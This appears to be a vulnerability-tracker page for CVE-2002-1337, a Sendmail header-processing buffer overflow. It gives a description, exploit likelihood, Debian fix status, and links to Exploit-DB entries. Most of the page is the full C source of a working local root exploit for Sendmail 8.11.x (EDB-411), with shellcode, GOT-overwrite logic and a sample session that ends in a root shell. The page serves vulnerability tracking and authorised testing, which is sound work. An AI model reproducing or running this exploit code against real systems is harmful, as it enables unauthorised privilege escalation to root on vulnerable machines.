CVE-2002-1337

unknown
Published — · Modified —
CVSS v3
CVSS v4 NEW
not yet in upstream
VIR risk
1.0

Description

Buffer overflow in Sendmail 5.79 to 8.12.7 allows remote attackers to execute arbitrary code via certain formatted address fields, related to sender and recipient header comments as processed by the crackaddr function of headers.c.

Predictions

Exploit likelihood
20%
Patch ETA

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

The vendor-content worker queues fetches as references arrive (check back in a few minutes). Or — if you've already worked around this in production — publish your fix to the community-verified tier.

✚ Propose a mitigation on Community → Mitigations published via the community go through AI scoring + 2 human reviewers + 7-day silent objection window before landing here with source_tier=community-verified.

Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-22313 remote unix verified
Last Stage of Delirium · 2003-03-02

Sendmail 8.12.x - Header Processing Buffer Overflow (1)

Source code queued for fetch — refresh in a moment.
EDB-22314 remote unix verified
bysin · 2003-03-02

Sendmail 8.12.x - Header Processing Buffer Overflow (2)

Source code queued for fetch — refresh in a moment.
EDB-411 local linux verified text · 10 KB
sd · 2001-01-01

Sendmail 8.11.x (Linux/i386) - Local Privilege Escalation

text exploit Source: Exploit-DB
/*
	sendmail 8.11.x exploit (i386-Linux) by sd@sf.cz (sd@ircnet)
	~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

	This code exploits well-known local-root bug in sendmail 8.11.x,
	8.12.x may be vulnerable too, but I didn't test it.

	It gives instant root shell with +s sendmail 8.11.x, x < 6

	We're using objdump, gdb & grep in order to obtain VECT, so make sure
	that they're on $PATH, works with 80% accuracy on stripped binaries
	on several distros without changing offsets (rh7.0, rh7.1, suse7.2,
	slackware 8.0...)

	Greetz:

	mlg & smoke : diz is mostly for .ro ppl ;) killall sl3
	sorcerer    : stop da fuckin' asking me how to sploit sm, diz crap
	              is for lamers like you ;))))
	devik       : sm 0wns ;)
	to #linux.cz, #hack ....

	.... and to alot of other ppl, where i can't remeber theyr handles ;)

	args:
	-d     specify depth of analysis (default=32) [bigger = more time]
	-o     change offset (default = -32000) [between 1000..-64000]
	-v     specify victim (default /usr/sbin/sendmail) [+s sm binary]
	-t     specify temp directory (default /tmp/.sxp)
	       [temporary files, should be mounted as nosuid]

	An example (redhat 7.0 CZ):
-------------------------------------------------------------------------------
[sd@pikatchu sxp]$ gcc sx.c -o sx
[sd@localhost sxp]$ ./sx

...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...
      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

[*] Victim = /usr/sbin/sendmail
[*] Depth  = 32
[*] Offset = -16384
[*] Temp   = /tmp/.sxp
[*] ESP    = 0xbfffe708
[+] Created /tmp/.sxp
[+] Step 1. setuid() got = 0x080aa028
[*] Step 2. Copying /usr/sbin/sendmail to /tmp/.sxp/sm...OK
[*] Step 3. Disassembling /tmp/.sxp/sm...OK, found 3 targets
[*] Step 4. Exploiting 3 targets:
[1] (33% of targets) GOT=0x080aa028, VECT=0x00000064, offset=-16384
[2] (66% of targets) GOT=0x080aa028, VECT=0x080c6260, offset=-16384

Voila babe, entering rootshell!
Enjoy!
uid=0(root) gid=0(root) groups=0(root)
[root@pikatchu /]# whoami
root
[root@pikatchu /]# exit
exit
Thanx for choosing sd's products ;)
[sd@pikatchu sxp]$
--------------------------------------------------------------------------------

	Enjoy! And don't abuse it too much :)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
#include <string.h>

#define	SM	"/usr/sbin/sendmail"
#define	OBJDUMP	"objdump"
#define	GDB	"gdb"
#define GREP	"grep"

#define	OURDIR	"/tmp/.sxp"

/* an basic regexp to get interesting stuff from disassembled output
   change it as you like if something doesn't work */

#define	DLINE	"%s -d %s 2> /dev/null | %s -B %d \"mov.*%%.l,(%%e..,%%e..,1)\" | %s \".mov .*0x80.*,%%e..\""
#define DLINEA	OBJDUMP, vict, GREP, depth, GREP

#define	BRUTE_DLINE	"%s -d %s 2> /dev/null | %s \".mov .*0x80.*,%%e..\""
#define BRUTE_DLINEA	OBJDUMP, vict, GREP


#define NOPLEN	32768

#define uchar unsigned char
#define NOP 0x90

/* 19 bytes ;), shell must be appended */
char shellcode[] =
	"\xeb\x0c\x5b\x31\xc0\x50\x89\xe1"
        "\x89\xe2\xb0\x0b\xcd\x80\xe8\xef"
        "\xff\xff\xff";


char	scode[512];
char	dvict[] = SM;

struct	target {
	uint	off;
	uint	brk;
	uint	vect;
};

unsigned int get_esp()
{
	__asm__("movl %esp,%eax");
}

char	ourdir[256] = OURDIR;

/* cleanup */
void	giveup(int i)
{
	char buf[256];
	sprintf(buf, "/bin/rm -rf %s > /dev/null 2> /dev/null", ourdir);
	system(buf);
	if (i >= 0) exit(i);
}

/* main sploit, stolen mostly from alsou.c ;) */
void	sploit(char *victim, uint got, uint vect, uint ret)
{
	uchar	egg[sizeof(scode) + NOPLEN + 5];
	char	s[512] = "-d";
	char	*argv[3];
	char	*envp[2];
	uint	first, last, i;

	strcpy(egg, "EGG=");
	memset(egg + 4, NOP, NOPLEN);
	strcpy(egg + 4 + NOPLEN, scode);

	last = first = -vect - (0xffffffff - got + 1);
	while (ret) {
		char	tmp[256];
		i = ret & 0xff;
		sprintf(tmp, "%u-%u.%u-", first, last, i);
		strcat(s, tmp);
		last = ++first;
		ret = ret >> 8;
	}
	s[strlen(s) - 1] = 0;
	argv[0] = victim;
	argv[1] = s;
	argv[2] = NULL;
	envp[0] = egg;
	envp[1] = NULL;
	execve(victim, argv, envp);
}

int	use(char *s)
{
	 printf("%s [command] [options]\n"
		"-h     this help\n"
		"-d     specify depth of analysis (default=32)\n"
		"-o     change offset (default = -32000)\n"
		"-v     specify victim (default /usr/sbin/sendmail)\n"
		"-t     specify temp directory (default /tmp/.sxp)\n"
		"-b	enables bruteforce (WARNING: this may take about 20-30 minutes!)\n", s);
	return 1;
}

/* exploited flag */
int	exploited = 0;

/* child root-shell will send us SIGUSR if everything is ok */
void	sigusr(int i)
{
	exploited++;
	giveup(-1);
}

int	main(int argc, char *argv[])
{
	char	victim[256] = SM;
	char	vict[256];
	char	gscr[256];
	char	path[256];
	
	char	d[256];
	struct	stat	st;
	FILE	*f;
	char	buf[256];
	int	got;

	struct	target t[1024];
	uint	off, ep, l;
	int	i,j;

	int	offset = -16384;
	int	esp;
	int	depth = 32;
	int	brute = 0;

	/* rootshell (if argv[0] == NULL) */
	if (!*argv) {
		/* open stdin and stdout */
		dup2(2, 0);
		dup2(2, 1);
		setuid(0);	/* regain root privs */
		setgid(0);
		/* send signal to parent that exploit is done */
		kill(getppid(), SIGUSR1);
		/* l-a-m-e ;) */
		printf("\nVoila babe, entering rootshell!\nEnjoy!\n"); fflush(stdout);
		chdir("/");
		system("/usr/bin/id");
		setenv("BASH_HISTORY", "/dev/null", 1);
		execl("/bin/bash", "-bash", NULL);
	}

	printf("\n...-=[ Sendmail 8.11.x exploit, (c)oded by sd@sf.cz [sd@ircnet], 2001 ]=-...\n"
	       "      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n");

	while ( ( i = getopt(argc, argv, "hd:o:v:t:b") ) != EOF) {
		switch (i) {
			case 'd':
				if ((!optarg) || (sscanf(optarg, "%d", &depth) != 1))
					return use(argv[0]);
				break;
			case 'o':
				if ((!optarg) || (sscanf(optarg, "%d", &offset) != 1))
					return use(argv[0]);
				break;
			case 'v':
				if (!optarg) return use(argv[0]);
				strcpy(victim, optarg);
				break;
			case 't':
				if (!optarg) return use(argv[0]);
				strcpy(ourdir, optarg);
				break;
			case 'b':
				brute++;
				break;
			case 'h':
			default:
				return use(argv[0]);
		}
	}
	if (brute) printf("[*] Using brute force, this may take some time\n");
	/* create full path to rootshell, cause
           sendmail will change it's cwd */
	path[0] = 0;
	if (argv[0][0] != '/') {
		getcwd(path, 256);
	}

	/* construct shellcode */
	sprintf(scode, "%s%s/%s", shellcode, path, argv[0]);

	/* get stack frame */
	esp = get_esp();
	close(0);
	signal(SIGUSR1, sigusr);

	/* remove old stuff */
	giveup(-1);

	printf( "[*] Victim = %s\n"
		"[*] Depth  = %d\n"
		"[*] Offset = %d\n"
		"[*] Temp   = %s\n"
		"[*] ESP    = 0x%08x\n",
		victim,
		depth,
		offset,
		ourdir,
		esp);
	stat(victim, &st);
	if ((st.st_mode & S_ISUID) == 0) {
		printf("[-] Bad: %s isn't suid ;(\n", victim);
	}

	if (access(victim, R_OK + X_OK + F_OK) < 0) {
		printf("[-] Bad: We haven't access to %s !\n", victim);
	}

	if (mkdir(ourdir, 0777) < 0) {
		perror("[-] Can't create our tempdir!\n");
		giveup(1);
	}
	printf("[+] Created %s\n", ourdir);
	sprintf(buf, "%s -R %s | grep setuid", OBJDUMP, victim);
	f = popen(buf, "r");
	if (fscanf(f, "%x", &got) != 1) {
		pclose(f);
		printf("[-] Cannot get setuid() GOT\n");
		giveup(1);
	}
	/* get GOT */
	pclose(f);
	printf("[+] Step 1. setuid() got = 0x%08x\n", got);
	sprintf(vict, "%s/sm", ourdir);
	printf("[*] Step 2. Copying %s to %s...", victim, vict); fflush(stdout);
	sprintf(buf, "/bin/cp -f %s %s", victim, vict);
	system(buf);
	if (access(vict, R_OK + X_OK + F_OK) < 0) {
		perror("Failed");
		giveup(1);
	}
	printf("OK\n");
	/* disassemble & find targets*/
	printf("[*] Step 3. Disassembling %s...", vict); fflush(stdout);
	if (!brute) {
		sprintf(buf, DLINE, DLINEA);
	} else {
		sprintf(buf, BRUTE_DLINE, BRUTE_DLINEA);
	}
	f = popen(buf, "r");
	i = 0;
	while (fgets(buf, 256, f)) {
		int	k, dontadd = 0;
		if (sscanf(buf, "%x: %s %s %s %s %s %s 0x%x,%s\n",
                    &ep, d, d, d, d, d, d, &off, d) == 9) {
			/* same value ? */
			for (k=0; k < i; k++) {
				if (t[k].off == off) dontadd++;
			}
			/* new value ? */
			if (!dontadd) {
				/* add it to table */
				t[i].off = off;
				t[i++].brk = ep;
			}
		}
	}
	pclose(f);
	printf("OK, found %d targets\n", i);

	/* gdb every target and look for theyr VECT */
	printf("[*] Step 4. Exploiting %d targets:\n", i); fflush(stdout);
	sprintf(gscr, "%s/gdb", ourdir);

	off = 0;
	for (j=0; j < i; j++) {
		/* create gdb script */
		f = fopen(gscr, "w+");
		if (!f) {
			printf("Cannot create gdb script\n");
			giveup(1);
		}
		fprintf(f, "break *0x%x\nr -d1-1.1\nx/x 0x%x\n", t[j].brk, t[j].off);
		fclose(f);
		sprintf(buf, "%s -batch -x %s %s 2> /dev/null", GDB, gscr, vict);
		f = popen(buf, "r");
		if (!f) {
			printf("Failed to spawn gdb!\n");
			giveup(1);
		}
		/* scan gdb's output */
		while (1) {
			char buf[256];
			char *p;
			t[j].vect = 0;
			p = fgets(buf, 256, f);
			if (!p) break;
			if (sscanf(p, "0x%x %s 0x%x", &ep, d, &l) == 3) {
				t[j].vect = l;
				off++;
				break;
			}
		}
		pclose(f);
		if (t[j].vect) {
			int	pid;
			printf("[%d] (%d%% of targets) GOT=0x%08x, VECT=0x%08x, offset=%d\n", j, j*100/i , got, t[j].vect, offset);
			fflush(stdout);
			pid = fork();
			if (pid == 0) {
				close(1);
				sploit(victim, got, t[j].vect, esp + offset);
			}
			/* wait until sendmail finishes (expoit failed)
	                   or until SIGUSR arrives */
			wait(NULL);
			/* exploited ?? */
			if (exploited) {
				wait(NULL);	/* kill zombie */
				printf("Thanx for choosing sd's products ;)\n");
				exit(0);
			}
		}
	}
	printf("[-] All targets failed, probably not vulnerable ;(\n");
	giveup(1);
}

/* That's all. */



// milw0rm.com [2001-01-01]

OS impact

debian Debian Fixed 5 releases
VersionStatusFixed in
trixie Fixed 8.13.0.PreAlpha4-0
sid Fixed 8.13.0.PreAlpha4-0
forky Fixed 8.13.0.PreAlpha4-0
bullseye Fixed 8.13.0.PreAlpha4-0
bookworm Fixed 8.13.0.PreAlpha4-0

References

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.